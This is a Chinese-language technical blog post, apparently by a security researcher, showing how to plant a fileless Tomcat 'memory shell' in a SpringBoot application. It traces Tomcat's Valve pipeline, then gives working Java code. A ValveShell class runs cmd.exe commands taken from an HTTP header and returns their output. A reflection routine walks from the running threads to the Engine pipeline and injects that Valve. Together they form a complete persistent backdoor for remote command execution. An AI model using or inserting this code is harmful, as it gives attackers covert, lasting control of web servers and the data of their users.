前言
新的Tomcat内存马玩法。
环境
环境为SpringBoot。
Valve
Valve存放在所属容器的pipeline中,在Filter执行之前被调用,并通过getNext().invoke()的方式进行链式调用。
下面这张调用栈图就可以清晰地看出来Filter链的调用就是Valve链中的StandardWrapperValve实现的:

一般项目可以通过server.xml在Tomcat中配置自定义Valve,而SpringBoot提供了定制器类来实现添加Valve这个功能:
1 2 3 4 5 6 7
| @Component public class MyCustomize implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> { @Override public void customize(TomcatServletWebServerFactory factory) { factory.addEngineValves(new MyValve()); } }
|
给自定义Valve下一个断点,就可以看到线程从接收请求到找到该自定义Valve执行的具体流程:

跟踪一下代码,可以看到获取并执行第一个Valve的代码位于CoyoteAdapter类中:
1 2
| connector.getService().getContainer().getPipeline().getFirst().invoke( request, response);
|
换句话说就是我们可以从NioEndpoint出发,一步步找到这里的pipeline并添加一个Valve Shell进去。
Valve内存马
调试一下,根据上面的Valve执行函数调用栈,我们可以从NioEndpoint中找到Http11NioProtocol对象:

该对象的adapter属性中就存放了我们要找的CoyoteAdapter对象:

接下来就是按照connector.getService().getContainer().getPipeline().getFirst()的调用顺序,就可以找到我们的自定义的Valve了:

理清了内存马注入思路,接下来就是把自定义Valve删掉,然后写代码注入Valve内存马了,需要注意的一点是由于我们没有添加自定义Valve,此时Engine的pipeline中是空的,其getFirst函数会返回一个缺省状态下的Valve:
1 2 3 4 5 6 7 8
| @Override public Valve getFirst() { if (first != null) { return first; }
return basic; }
|
其实就是我们在调用栈中看到的StandardEngineValve,为了保证后续处理流程的顺利进行,我们还需要给Valve Shell设置好它的下一个Valve,这里可以直接使用StandardPipeline类中的addValve函数来添加。
首先写一个简单的Valve Shell:
1 2 3 4 5 6 7 8 9
| class ValveShell extends ValveBase { @Override public void invoke(org.apache.catalina.connector.Request request, org.apache.catalina.connector.Response response) throws IOException, ServletException { String[] cmd = new String[]{"cmd.exe", "/c", request.getHeader("Twings")}; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); response.getWriter().write(new String(result)); next.invoke(request, response); } }
|
然后调用addValve添加进去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| try { Field f = ThreadGroup.class.getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[])f.get(Thread.currentThread().getThreadGroup()); NioEndpoint nioEndpoint = null; for (Thread thread: threads) { if (thread.getName().contains("http") && thread.getName().contains("Poller")) { f = Thread.class.getDeclaredField("target"); f.setAccessible(true); Object pollor = f.get(thread); f = pollor.getClass().getDeclaredField("this$0"); f.setAccessible(true); nioEndpoint = (NioEndpoint)f.get(pollor); break; } } if (nioEndpoint == null) { return; } AbstractEndpoint.Handler<?> handler = nioEndpoint.getHandler(); f = handler.getClass().getDeclaredField("proto"); f.setAccessible(true); Http11NioProtocol http11NioProtocol = (Http11NioProtocol)f.get(handler); CoyoteAdapter coyoteAdapter = (CoyoteAdapter)http11NioProtocol.getAdapter(); f = coyoteAdapter.getClass().getDeclaredField("connector"); f.setAccessible(true); Connector connector = (Connector)f.get(coyoteAdapter); Pipeline pipeline = connector.getService().getContainer().getPipeline(); if (pipeline == null || pipeline.getFirst() instanceof ValveShell) { return; } pipeline.addValve(new ValveShell()); }catch (Exception e) { }
|
成功注入:

参考
Valve内存马
SpringBoot-定制Web容器Tomcat